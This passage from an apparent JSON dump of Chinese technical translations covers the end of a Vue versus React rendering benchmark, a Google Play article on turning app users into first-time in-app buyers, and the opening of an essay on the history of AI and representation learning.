repo](https://github.com/footballradar/VueReactPerf)查看我们的`src/react.data.js` 和 `src/vue.data.js` 。\n\n这就是我们的比赛项目的架构\n\n* 时钟\n* 得分\n\n   *   主场\n   *   客场\n\n   \n \n*   队伍\n\n   *   主场\n   *   客场\n\n*   恶意铲球\n*   吃牌\n\n   *   黄牌\n   *   红牌\n\n*  球员\n    *  姓名\n    *  努力级别\n    *  出场顺序\n\n\n我们要记住在 view 层显示数据。 虽然数据的产生对于 React 和 Vue 相同，还是存在有轻微的差异\n\n*  Immutable.js for React--这能够方便我们施行 `shouldComponentUpdate`来轻松优化渲染\n\n*  显示数据--通过订阅数据源，我们可以通过`setState()`更新 React 。\n*  将数据作为带有接受器的对象显示 -Vue 通过挂钩我们的状态接受器进行实时更新翻译。因此我们需要显示和更新状态作为一个壳边对象\n\n##### React 实例\n\n为了创建以上视图我们用4个组件收尾：\n*   `App` - 从数据源和带有最新数据的 `setState`订阅。\n*   `Games` - 通过  `App` 渲染，获取比赛数组。\n*   `Game` - 利用`Games` 渲染的一行，获得比赛地图。\n*   `Player` -  通过 'game' 渲染的元组，获取球员地图。\n\n\n任何时候当有嵌套的数据时，我们可以利用“Immutable 引用检查”的优势，即过创建一个子组件并实现‘shouldComponentUpdate’\n。这个案例当中，我们为`Game` 和 `Player`组件进行了此项操作。\n\n\n    shouldComponentUpdate(nextProps){\n        return nextProps.game !== this.props.game;\n    }\n\n\n考虑到我们所做的一切都是在 `Game` 地图里面访问属性之后显示，创建比分、队伍和吃牌的子组件就没有那么必要了。\n\n这是来自 React 实例的第一个结果。\n\n_概述:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-13-58-26.png) \n\n\n_自下而上:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-13-59-00.png) \n\n\n_时间线:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-14-07-19.png)\n\n\n大概10% 的浏览器时间用于脚本。当这不是空闲时，它主要是脚本，因此在时间轴中的峰值大都是黄色。我们可以确保时间都花在 React 而不是在重堆栈查找生成数据：\n\n\n![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-13-59-34-1.png)\n\n由于没有什么可以比较的，也没有太多好说的。当我们第一次运行测试的时候我忘记了在`Game` 组件置放`shouldComponentUpdate` ，造成结果差异巨大。\n\n![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-21-at-15-16-02-1.png)\n\n3行的 Javascript 代码使得工作量减少了5倍。不管怎么样都迁入我们的 Vue 版本。\n\n##### Vue 实例\n\n\n起初我并不确定是否要用 Immutable.js 的 Vue ，因为他依赖于挂钩朴素 JavaScript 对象的接收器/给定器。\n\n我第一个尝试确实死在了时间线上面。尽管如此我记录了30秒，只能得到5到20秒的结果。我意识到这可能是因为页面在15秒使用了完全的时间线缓冲！所以我只会打印前10秒的结果。\n\n![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-21-at-17-38-04.png)\n\n10秒的时间当中，2秒用于脚本的运行上。这并不乐观。Vue 耗费的时间重新创建组件的数据每次都是一个新的参考，这就是使用 Immutable.js 的一个关键。所有我们抛弃了这个方法。\n\n我们改变了数据结构因而只是显示了状态对象，之后直接传递给了 Vue 实例。 同一比赛的所有的更新连带引用都是相同的；完成地和 React 做的事情相反。也没什么太多代码改变。一旦我们触发了 Immutable.js ，所有需要做的就是显示比赛：\n\n    export function createStore(noOfGames) {\n\n        let _state;\n\n        createGames(noOfGames).subscribe((games) => _state = games);\n\n        return {\n            get state() {\n                return _state;\n            },\n\n            set state(x) {\n                throw \"State cannot be modified from outside\";\n            }\n        }\n    }\n\n    new Vue({\n        el: \"#app\",\n        data: {\n            games: store.state\n        }\n    });\n\n\n\n我们没有订阅组件的数据源，那是我们在 React 的 `App`  组件里面使用的，我们订阅的是自己小的存储器当中。    利用获取器显示状态，Vue 就可以挂钩通顺保持通过我们获取器的只读状态了。我是从 Vuex 的源码里偷学的这种方法， Vuex 是一种 Vue 的状态管理库。\n\n_概述 - Vue:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-14-01-40.png) \n\n_概述 - React:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-13-58-26-1.png)\n\n第一幅图是 Vue ， 第二幅是 React 的概述。看这个饼图，真是空闲呢！我需要运行测试以及 React 多次来保证结果符合要求。\n\n_自下而上 - Vue:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-14-02-17.png) \n\n_自下而上 - React:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-13-59-00-1.png)\n\n\n我们可以看到，相比 React 来说，Vue 在自身消耗的时间更少。 这是取决于每个组件处理的数据和更新速度。\n\n_重堆栈 - Vue:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-14-04-19.png) \n\n_重堆栈- React:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-13-59-34.png)\n\n_时间线 - Vue:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-14-05-11.png) \n\n_时间线 - React:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-14-07-19-1.png)\n\n\n我想这能代表的东西不少。Vue 的时间线上面，有意义的黄色更少了。内存也相当不错。尽管缓慢上升，或许这表明在我数据生成当中有某种问题发生。\n\n好吧很酷，不过我们全身还有可以商量的实验空间。如果我们使用的规模是100个比赛呢？我们得离开页面一小会让每个游戏都 “开球”\n\n_概述 - Vue:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-13-50-29.png) \n\n_概述 - React:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-13-53-55.png)\n\n我们的　Vue　实例处理加载比　React　更好，React　用了３倍的时间进行脚本处理了50个比赛。\n\n\n不知道为什么那就先试试500个游戏吧，我将只记录前15秒的信息（如果我们没有杀死时间线缓存的话。。。）\n\n_概述 - Vue:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-14-20-38.png) \n\n_概述 - React:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-14-36-14.png)\n\n_自下而上 - Vue:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-14-21-14.png) \n\n_自下而上 - React:_\n\n ![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-14-36-33.png)\n\n说实话我对于 React 前15秒的时间线记录十分吃惊。实际上似乎它比 Vue 实例在时间线使用了更少的缓存。React 页不可用，采集大概10秒来进行时钟更新。Vue 页面的耗费不多但是出于不同的原因，非常令人愉快地看到打印时间比脚本处理时间长。我能标注行和更新并不在峰位，而是在后面。\n\n##### 结论\n\n对于结果我特别震惊，我不知道 Vue 是不是就那么好，随便了。这些不是完美的测试但是他们实际完成了真实的问题，而我们不能够给出完美的解决方案。\n\ntakeway 就是 Vue  在处理现存元素/数据的频繁变化方面比 React好，我相信这就是答案。\n [reactivity](https://vuejs.org/guide/reactivity.html) system.\n\n感谢您的阅读  \n\n[https://github.com/footballradar/VueReactPerf](https://github.com/footballradar/VueReactPerf)\n\n"
  },
  {
    "path": "TODO/from-app-explorer-to-first-time-buyer.md",
    "content": "> * 原文地址：[From app explorer to first-time buyer: A look at how rising star apps and games engage users through in-app purchases](https://medium.com/googleplaydev/from-app-explorer-to-first-time-buyer-6476be50893)\n> * 原文作者：[Aviv Shalgi](https://medium.com/@avivshalgi?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/from-app-explorer-to-first-time-buyer.md](https://github.com/xitu/gold-miner/blob/master/TODO/from-app-explorer-to-first-time-buyer.md)\n> * 译者：[ppp-man](https://github.com/ppp-man)\n> * 校对者：[RoarTiger](https://github.com/RoarTiger) [LeviDing](https://github.com/leviding)\n\n# 从应用探索者到初次购买者\n\n## 一睹这些应用和游戏新星是怎样利用内购功能吸引用户。\n\n![](https://cdn-images-1.medium.com/max/800/0*3ZlKEJyi-aiyjxnY.)\n\n我们每天都会不经意地听说某些成功和刚兴起的应用和游戏。曾几何时想过这是如何做到吗？是什么导致它们的成功而其他看起来更有趣更吸引人的应用和游戏却没有做到的呢？\n\n我攻读工商硕士时的某个夏天有幸能和谷歌应用策略和运营团队在 Moutain View 一同工作。如今我回到芝加哥大学布斯商学院继续第二年的工商硕士学习，回想起我在谷歌的日子，让我想分享一些对这些应用新星之所以成功的见解。\n\n当所有或大或小的资深或初学开发者一同为了成功而努力时，一些人忘记了一旦错过某些基本要素，那应用就很难赚到钱了。甚至一些成功的开发者也会不小心在他们最新的应用里忽略了这些基本要素。\n\n虽然许多商业模式也能促进成功，但我着眼的是**促使应用内购买** － 买应用里的产品或者是订阅的形式。这不只是关于收入。有时候如果用户不购买，他们就不了解一个应用或者游戏的所有功能，也就未必能被吸引和给应用评高分甚至和朋友分享 － 你明白其中的重点。因此，回到基本要素：当用户想买东西时购买过程应该越简单越好。\n\n这不是简单的挑战。2016年五月，[Appsflyer](https://www.appsflyer.com/pr/new-report-global-app-spending-habits-finds-asian-consumers-spend-40-apps-rest-world/) 发现仅有 5.2% 的用户会在移动端有应用内购买的行为。因此，增长初次购买者的转化率（不购买人群成为初次购买者比率）能大大影响你的赚钱能力。\n\n### **卖风格合适的产品**\n\n对于一些应用，其卖的产品会很明确 － 例如新闻应用里的付费内容 － 然而对于另一些应用，特别是游戏，未必有那么简单。**出售有限资源还是提供付费内容**这类决策是常有的。\n\n**有限的资源意味着有限的产品**。[Candy Crush](https://play.google.com/store/apps/details?id=com.king.candycrushsaga&hl=en_GB&e=-EnableAppDetailsPageRedesign) 让玩家在游戏里买生命和炸弹等等资源正是这个方法的体现。与之相对，提供付费内容是为了提升用户体验，例如免费版游戏不能玩特殊关卡。付费内容同时也包括与游戏情节没直接联系的内容，如角色的衣着或某情景里的家具。后者常被应用于角色扮演或个性化的建筑游戏（玩家通过建造某些东西来表达个性的游戏）。例如 [部落冲突](https://play.google.com/store/apps/details?id=com.supercell.clashofclans) 和 [开心农场](https://play.google.com/store/apps/details?id=com.zynga.FarmVille2CountryEscape) 的玩家可以买灌木丛然后添加到他们的村庄和农场。\n\n根据用户找到合适的产品风格并不是游戏的专利，所有的包含内购买功能的应用都能用得上这个原则。例如室外活动的应用或许会考虑把国家公园的地图卖给用户，而地图上的爬山路线则免费。或者设计成地图免费，提供能浏览爬山路线的游戏币。正确地配对产品风格和用户期望与体验能增加成功销售的概率。\n\n然而答案不总是明显的。你可以在应用里测试起始资源（免费内容）和付费内容之间的平衡。为了找到最优的平衡我建议你留意你的资源是否和转化率是一致的。也就是要问自己用户们是否被给予足够的免费或试用产品而了解和喜欢你的应用，从而被转化成买家？或者问自己是否为用户提供太少，导致用户在完全明白该应用的价值前放弃使用？\n\n### **向用户展示应用内购买的价值**\n\n![](https://cdn-images-1.medium.com/max/800/0*wgYXS-dCLJ8P3QBg.)\n\n现在大部分应用和游戏都是免费下载，用户们都习惯了不付费就得到免费内容和功能。这意味着用户们必须在购买前**明白你为他们提供的产品价值**。\n\n在新用户加入的流程和初次用户体验（FTUE）中向初使用者突出价值的方法可以是利用初加入教程或者发信息。初次使用的应用教程或信息代表着你想卖的产品的价值， 一个小窍门就是**突出和聚焦于应用最好最受欢迎的地方**。\n\n尽可能地用免费试用展示在应用里购买的好处，而不是单单口头表述。例如 [部落冲突](https://play.google.com/store/apps/details?id=com.supercell.clashofclans&hl=en) 在初次使用的教程里给用户 5 颗宝石 - 游戏应用里的货币。\n\n> [炉石传说](https://play.google.com/store/apps/details?id=com.blizzard.wtcg.hearthstone&hl=en) 则给用户数次免费购买的机会，让他们了解和熟悉购买的流程以便日后的购买。\n\n如果你的应用提供订阅，那么可以让用户**免费试用付费功能**。在 [谷歌 Play Console 上是容易实现](https://support.google.com/googleplay/android-developer/answer/140504#trial) 这些功能的，而且这些功能在应用和游戏上同样好用！\n\n### **使用户的第一次（和每一次）的购买都尽可能简单**\n\n![](https://cdn-images-1.medium.com/max/800/0*w1t1ucg51mMtRrAR.)\n\n艰巨的任务才刚开始。也许很浅显，但尽可能简化你的用户的购买体验：\n\n*   **试想整个过程**。引导用户完成购买过程。想象你进入了一家实体店，找到了心仪的商品，却不得不四处寻找收银员。这时你在商店里任何一处都能看见的出口或者天花板上的指示牌就会指引你去结账处。你应用里的商店也像这样便利吗？\n*   **例子优先**。通过初使用教程的详细讲解确保用户​​能轻松地掌握流程。\n*   **时效性是至关重要**。观察典型用户的体验并在你想他们买第一样东西时合理地展示教程。\n*   **可视化结帐选项**。让用户在购买过程中清楚简单地看到结帐选项。向用户展示如何购买对他们往后的购买都至关重要，记得当用户想结帐时结帐选项要始终就绪！\n*   **做调查**。即使你觉得你知道你的用户在应用里行为和他们会被购买教程的哪个部分说服，再想一想！用户们的行为常与你期望的相悖，因此值得做一个 [应用内的 A/B 测试](https://developer.android.com/distribute/best-practices/develop/in-app-a-b-testing.html) 寻找最佳方案。[Memrise](https://play.google.com/store/apps/details?id=com.memrise.android.memrisecompanion&hl=en_GB&e=-EnableAppDetailsPageRedesign) 测试他们什么时候终止用户的免费试用,这使得他们的 [转化率增长了 50%](https://android-developers.googleblog.com/2016/11/learn-tips-from-memrise-to-increase-in-app-conversions-with-pricing-experiments.html)。\n\n然而「简单」因人而异。你的用户们在很多特征上都互不相同。不要假定每个人都和你跟你的团队一样对技术了如指掌，因为一般人不一定能够轻松掌握。设定你应用内商店时：\n\n*   **提供多个入口**。这可能是一个商店图标、一个可点击资源栏或者一个特别优惠和限时优惠的悬浮图标。\n*   **突出商店（真实货币）**。你需要让用户知道当他们想买东西时该去哪里。\n*   **当用户决定要购买时，令整个流程越短越好**。总的来说定律是越少越好，具体就是越少点击就越好。\n*   **为新用户提供优惠的起始价格**。想一下如果一个新用户看见 5 个应用里的产品分别在 $4.99 或以上（最贵到 $99.99），他不一定会愿意一开始就花 $4.99；在想买贵东西之前，他可能会偏向于买一个价格在 $0.99 和 $2.99 之间的简单新手包来看看游戏的价值。在价格差不是 $1 到 $2 而是像 $4.99, $9.99, $19.99, $49.99, 和 $99.99 这类价格差, 这种现象尤其突出。\n\n决定最佳定价策略，利用**应用内 A/B 测试列举不同价格**相对于类似产品用户的接受度。有时候不同用户群的购买意愿不同，这些群体可根据国家，应用内行为，应用的使用阶段或等级等等来分。为不同群体量身定制你的产品是无比有用的。用单一价格让用户“将就”会使某些用户避之则吉。\n\n同时，**思考每个产品里单品的组合和价值**，尤其是新手包。例如，如果你的游戏提供几个应用内产品，那么一个带有多款产品但每样数量不多的新手包或许比一个受欢迎产品款式少单个数量多的组合包更吸引人。再次强调，在不同用户群中做应用内 A/B 测试时，记住你不太可能希望分太多群，因此尽量在保持测试有实际意义和及时的前提下做。\n\n### **为用户提供多种购买选项，但要适量**\n\n![](https://cdn-images-1.medium.com/max/800/0*4hxwUegaXYDcaiyG.)\n\n人喜欢选择。人的天性想要控制结果的能力，但选择太多会阻碍决策，让用户停滞在分析与麻痹的边缘。这很重要，因此要给所有新用户－实际上所有用户－一组相关而且控制的（但不过分限制）的购买选项。\n\n有两种可用的方法：**桶装和捆绑**。\n\n当用户进入应用里的商店时他们会被提供 3 到 6 种他们用户群里“最合算”和“最畅销”物品（也就是游戏里地位和行为习惯相像的用户）。根据**桶装**原则，你接着给用户**看更多类似产品的选择**。例如，如果有一个产品需要耗费 20 颗宝石，一个按钮能让用户看到所有的宝石购买选项。这里的关键是不要同时在同一个屏幕压迫性地给展示客户 20、40 或更多产品。\n\n另一个控制产品数量的方法是**捆绑: ** **集不同应用或游戏功能于一个产品中**。例如一个用户能买不同种资源的游戏 － 像木头、金子、宝石、食物等等 － 此时产品可以是每种资源不同数量的集合。这不仅让你可以根据寥寥可数的几种产品提供多个购买选项，而且让你利用丰富的想象力为产品起有吸引力的名字：地主的战利品、贫民的玩物、和只有你想不到的名字。\n\n虽然我总提倡控制你产品的范围，记住有时候你会想加一些产品来刺激用户去作对比。例如，你想加一个明显不值的选项 － $5 共 10 颗宝石 － 来刺激你真正想卖的产品 － $1 共 5 颗宝石。记得根据用户在应用或游戏里的进度来定制产品选择。\n\n再一次强调，做应用内 A/B 测试探索产品的最佳数量，价格，还有显示的范围。\n\n### **当你冲出世界，记得用当地价格**\n\n![](https://cdn-images-1.medium.com/max/800/0*gr0yYnS22LoryNOH.)\n\n不难想到在美国的一个看似便宜的应用购买对越南的用户来说是比较昂贵的。一个简单的方法是让 Play Store 根据当时的汇率计算当地价格。该平台甚至能利用相关的定价规律，因此你 $2.49 美元的产品会变成 1.99 欧元而不是像 2.07 这种直接转换的尴尬数字。\n\n[Papumba](https://play.google.com/store/apps/dev?id=6367889262833462420&hl=en) 就是一个看到了制定当地价格的价值的开发者。这个阿根廷开发者为家人和孩子们开发教育游戏，而将价格当地化后他们目睹了 [20% 的收入增幅](https://www.youtube.com/watch?v=9M9mAhYAspU&list=PLWz5rJ2EKKc9ofd2f-_-xmUi07wIGZa1c&index=19)。这也表示这个方法可以明显提高应用内购买在当地市场的吸引力。\n\n然而，汇率有时并不能代表当地真正的购买力。其他测量方式，像 [巨无霸指数](http://www.economist.com/content/big-mac-index)，可以帮助敲定更有代表性的当地定价模式。 Google Play 的 [次美元定价](https://support.google.com/googleplay/android-developer/table/3541286) 能帮助解决全世界超过 17 个国家的本地定价问题。\n\n越南游戏开发者 [DIVMOB](https://play.google.com/store/apps/dev?id=8029000350509758753&hl=en) 则发现在当地 [引用次美元定价](https://www.youtube.com/watch?v=bXxKZjQC5zc&index=30&list=PLWz5rJ2EKKc9ofd2f-_-xmUi07wIGZa1c) 为他们带来 300% 的交易数量增长。\n\n另外要注意制定合适的当地价格的潜在要素包括你要考虑该地区对一个应用或游戏类别的接受度。再强调一下细心设计的应用内 A/B 测试会与研究汇率和生活水平一样有用，甚至有过之而无不及。\n\n### **最后，别忽略忠实的不付费用户**\n\n![](https://cdn-images-1.medium.com/max/800/0*OPH34IYNPojiMU6O.)\n\n虽然这里说的很多方法针对还没怎么用过该APP的新用户，但关注那些不付钱的常用用户同样重要。这些人早已使用了此应用或游戏一段时间，与应用或游戏紧密相连。他们是你希望用你的应用的群体。\n\n确保你让这些资深用户也全程体验到新手包，捆绑，还有定价方法。他们也许还没看到想买的东西，但不代表他们不会买。也许用 A/B 测试检验其他产品能找到他们想要东西。一旦你找到他们想要的东西，这个群体将会很有价值，毕竟他们是常客。\n\n在此我从如何挑选适当的产品，如何展示它们的价值，如何正确定价、定购买模型，和如何简化购买过程这几个方面阐述了如何鼓励用户购买。虽然我们讨论的大多是应对初次购买者的策略，但我们同样重视你的忠实客户还有他们的价值。希望这些建议能在你的征途上帮到你设计和改善你应用或游戏里的购买体验。\n* * *\n\n### 你觉得呢?\n\n你有鼓励用户初次购买的问题或者想法吗？在下面的评论区或者推特时用 #AskPlayDev 标签继续我们的讨论吧。我们会从 [@GooglePlayDev](http://twitter.com/googleplaydev) 回复，那里是我们分享如何在 Google Play 上获得成功的新闻和建议的地方。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/from-automatons-to-deep-learning.md",
    "content": "\n> * 原文地址：[From Automatons to Deep Learning](https://medium.com/towards-data-science/from-automatons-to-deep-learning-388f7969be34)\n> * 原文作者：[Mark Aduol](https://medium.com/@markaduol943)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/from-automatons-to-deep-learning.md](https://github.com/xitu/gold-miner/blob/master/TODO/from-automatons-to-deep-learning.md)\n> * 译者：[Xat_MassacrE](https://github.com/XatMassacrE)\n> * 校对者：[Tina92](https://github.com/Tina92)，[Feximin](https://github.com/Feximin)\n\n# 从金属巨人到深度学习\n\n**AI（人工智能）简史**\n\n塔罗斯是一个青铜巨人战士，被创造出来守护克里特岛，抵御海盗和入侵者的攻击。他每天绕克里特岛三周，他凶狠的外表迫使海盗去别的地方寻找宝藏。但是在他凶狠外表的背后，塔罗斯根本算不上一个战士。他只是一个机器人。一个按照战士的**样子**做出来的稻草人。但是我们仍然相信造物主给类似塔罗斯这样的生物注入了非常真实的思考、情感、想法和智慧。这当然是无稽之谈。塔罗斯仅仅是人类历史长河最近的一个关于智能思想的梦想：创造生物的渴望，创造像我们自己一样智能生物的梦想。\n\n> 用作家 Pamela McCorduck 的话来说就是：\"一个模仿上帝的古老愿望。\"\n\n科学家、数学家、哲学家和作家们一直在寻找创造“会思考的机器”的秘诀。比人类本身更好的”会思考的机器“。\n\n从创造出塔罗斯这样会动的机器开始，人类中的创造者已经不满足于简单的模仿，而是开始寻求内在的真实。无意识的机器人让它们窥见了智能应该是什么样子，但是这种创造物并不能揭示智能的实质。因此，他们不得不考虑智能最为明显的表现：人类的思想。\n\n> 像[经济学人](https://medium.com/@the_economist)说的那样：“[为了启蒙，审视内心](https://twitter.com/TheEconomist/status/805471780764794882)”。\n\n但是很快我们发现，人类区别与低等生物的主要原因并不是我们脑容量的大小，也不是我们在地球上生存的经验，而是我们强大的处理各种推理任务的能力。所以当我们构思出第一台可编程的计算机时，并没有什么好惊讶的，并且这个计算机还可以模拟任何正式的推理过程，至少要和人类一样，经考证，单词 \"computer\" 第一次被使用是在 1940 年代的英格兰，当时它的意思是”一个会计算的机器“。\n\n起初，发展的很慢。马克一号 —1940 年代最先进的机器诞生了 — 它是由数千个机械组件构成的重达 10,000 磅的庞然大物。使用了 500 英里的电线给它供电，但是即使是这样精心制作的配置，每秒钟也只能执行 3 次加法。但是随着[摩尔定理](https://visual.ly/community/infographic/computers/moores-law)的问世，计算机性能飞速发展，并且在各种各样任务的形式推理中拥有着超人表现。研究人员对这一进展既高兴又惊讶，并且指出以目前的进步的速度来看，第一个完全成熟的”会思考的机器“即将诞生。在 1960 年代， 20 世纪人类知识巨匠之一的赫伯特·西蒙曾声称”在 20 年之内，机器将能够胜任任何人类可以做的事情”，毫无疑问，他错了。\n\n事实证明，虽然计算机擅长解决那些被一系列逻辑和数学规则定义的问题，但是更大的挑战则是让计算机解决那些不能被抽象成正规的声明语句的问题。比如识别图片中的人脸或者是翻译人类的语音。\n\n在一个如此嘈杂的世界里，一台能够和超人下国际象棋的机器对于赢得冠军或许是有用的，但是在真实的世界里，它的作用就如同小黄鸭一样不值一提(除非你的工作就是[调试小黄鸭](https://rubberduckdebugging.com/))。\n\n这个认识导致几个 AI 研究员否认了符号 AI（曾经一度统治 AI 研究的形式推理方法的一个术语）是创造人造智能机器最好方法的基本原则。符号 AI 的基石像情景推演和谓词逻辑都被证明太严苛以致于不能捕捉到现实世界中所有的不确定因素。AI 领域需要一个全新的方法。\n\n一些研究员决定使用一个叫做“模糊逻辑”的方法来寻求答案，模糊逻辑是一种真值不仅仅是 0 或者 1 还可以是任何中间值的逻辑范式。另外一些研究员则把所有努力都放在了叫做“机器学习”的新兴领域。\n\n**机器学习**是由于形式推理处理真实世界的不确定性因素的不足而诞生的。它不是将世界上的知识进行一个严格的逻辑公式的绑定，而是让计算机自己去学习知识。不是简单的告诉它“这是椅子”，\"这是桌子\"，而是教计算机学习椅子和桌子概念的区别 。机器学习研究员们一直避免使用必然的事件来代表世界，因为严格的特征条件并不是真实世界的本质。\n\n相反，他们决定用统计和概率来模型化这个世界。\n\n> 机器学习算法不是使用真和假来判断，而是使用真假的程度来判断。换句话说就是 — 概率。\n\n使用概率来量化真实世界的不确定性使得贝叶斯统计成为了机器学习的基石。对此，“[频率学派](https://www.explainxkcd.com/wiki/index.php/1132:_Frequentists_vs._Bayesians)” 也是有话要说的，但是关于频率学派和贝叶斯学派的争论我们最好在另一篇文章详述。\n\n很快，像”逻辑回归“和”朴素贝叶斯“这样的简单的机器学习算法就已经可以告诉计算机如何过滤垃圾邮件以及根据房屋大小来预估价格了。逻辑回归是一个非常直接的算法：给一个输入向量 **x**，模型只需要将 **x** 分类到 **{1, 2, …, k}** 中的一个就可以了。\n\n不过有一个条件。\n\n> 这些简单算法的表现严重依赖于训练数据的表现。(Goodfellow et al. 2017)\n\n总的来说就是，想象这样一个场景，你做了一个使用逻辑回归来决定是否剖腹产的机器学习系统。这个系统无法直接检测病人，而是由一个医生来给这个系统喂信息。这些信息可能会包含子宫疤痕、怀孕了几个月以及病人的年龄。每一个单独的信息都是一个**特征**，把它们合在一起，对于 AI 系统来说就是这个病人的**表示**。\n\n通过一些训练数据的训练，逻辑回归可以获得病人的这些特征中每一项与不同结果的关系。举例来说就是如果训练数据中没有包含分娩过程中恶心的概率和母亲年龄增长之间的关系的话，那么这个算法就不太可能为年纪大的病人推荐处理流程。\n\n虽然逻辑回归可以将表示映射到结果上，但t实际上它并不能真切地影响到构成病人表示的特征。\n\n> 如果逻辑回归不是从医生那里获得一份正式的报告，而是只有一张病人的核磁共振扫描结果，那么它就不能做出有用的预测。(Goodfellow et al. 2017)\n\n在分娩时期病人是否会有并发症的风险这个方面，核磁共振图的每一个独立的像素能告诉我们的信息太少了。\n\n这取决于有一个良好的表示，如果有优秀的表现那么无论对于计算机科学还是每日的生活都是一个伟大的贡献。举例来说就是你可以在 Spotify 上快速的搜索到你想要找的歌曲，因为它们的音乐集是使用一种类似于三叉树的智能数据结构，而不是用类似于乱序数据的粗旷结构来存储的。还有一个例子就是，学校里的孩子可以轻松的处理阿拉伯数字的算术，而处理罗马数字的算术却异常困难。机器学习没什么不同，输入表示的不同将会对你的学习算法的表现产生巨大的影响。\n\n![](https://cdn-images-1.medium.com/max/800/1*mjzOs0JuZS7TfP0RXNc8Ew.png)\n\nDavid Warde-Farley, Goodfellow et al. 2017\n\n由于这个原因，在人工智能领域中很多问题最后都可以归结为寻找合适的表示并把它作为输入数据。举个例子，假设我们设计了一个算法用于识别 Instagram 照片中的汉堡。首先，我们要根据所有的汉堡构建出一个**特征集**。首先我们要尝试的或许就是通过图片的原始像素的值来描述汉堡。起初这或许是一个明智的做法，但是很快你就会发现并不是。\n\n单纯凭借原始像素来描述汉堡长啥样是十分困难的，其实你可以想一下在麦当劳点汉堡的情景。当你点你想要的汉堡时，你应该会通过各种”特征“来描述要点的汉堡，比如奶酪、中间的肉饼、芝麻、生菜、红洋葱以及其他的调味料。我们可以通过不同的成分的集合来描述汉堡，每一个成分又可以用它本身的特征集来描述。大部分汉堡的成分可以用它们的颜色和外形来描述，那么一个汉堡就可以它的不同的成分的颜色和外形来描述了。\n\n但是当汉堡不在图片的中心位置，或者被放置在一个与之颜色相近的食物旁边，又或者在一个异域风情的饭店里汉堡是被分开提供的时候会发生什么呢？这时我们的算法又将如何区分以及解构汉堡呢？一个显而易见的办法是添加更多的(不同的)特征，但是这只是临时的解决办法。很快，我们就会发现更多的边界条件，然后我们就又要在我们的特征集里面添加更多的特征来区别相似的图片。随着输入表示的复杂，计算成本也随之提高，事情就变的更加复杂了。现在的开发者不仅要关注特征的数量还要还要关注输入表示的所有特征的表达力是否足够。寻找完美特征集对于任何机器学习算法来说都是一个艰苦卓绝的任务，研究人员同时也耗时耗力。一个经验丰富的社区可能都要研究几十年。\n\n> 对于学习算法来说衡量表示输入好坏的问题又被称作**表示问题**。\n\n从 1990 年后期到 2000 年早期，机器学习算法在处理不完美输入表示的弱点本质上其实是 AI 领域研究过程中的瓶颈。当设计输入特征的表示时，为了弥补算法上的弱点，工程师们除了依赖于人类的灵感和问题领域的前置知识以外别无他法。从长远来看，这样的\"特征工程\"其实是站不住脚的。如果一个学习算法不能够从原始数据和未被过滤的数据中获取有利信息，那么从一个更哲学角度讲，这些算法是不能理解这个世界的。\n\n尽管有这么多的障碍，研究人员们依然很快就发现了解决问题的方法。如果一个机器学习算法可以把表示映射到输出，那么为什么让这些算法学习表示本身呢。这就是**表示学习**。关于表示学习最著名的例子应该就是**自编码**（神经网络的一种）了，它是基于人类大脑和神经系统建模的计算机系统。\n\n一个自编码实际上就是一个可以将输入转化为不同表示的**编码**函数和一个可以将这个中间表示转换回它的原始格式（尽可能多的保留信息）的**解码**函数的组合。结果就是我们会得到一个在编码器和解码器之间正确的分割，它可以将用来训练的”噪音“图片的解码成更有用的表示。举例来说就是一张拥有在相似颜色中隐藏的汉堡的 Instagram 图片。这个解码器将会消除这个”噪音“，仅仅保留可以描述汉堡本身的特征。\n\n![](https://cdn-images-1.medium.com/max/800/1*wKE69-fX180Q_gkzYzGbwg.png)\n\nBy Chervinskii — Own work, CC BY-SA 4.0, 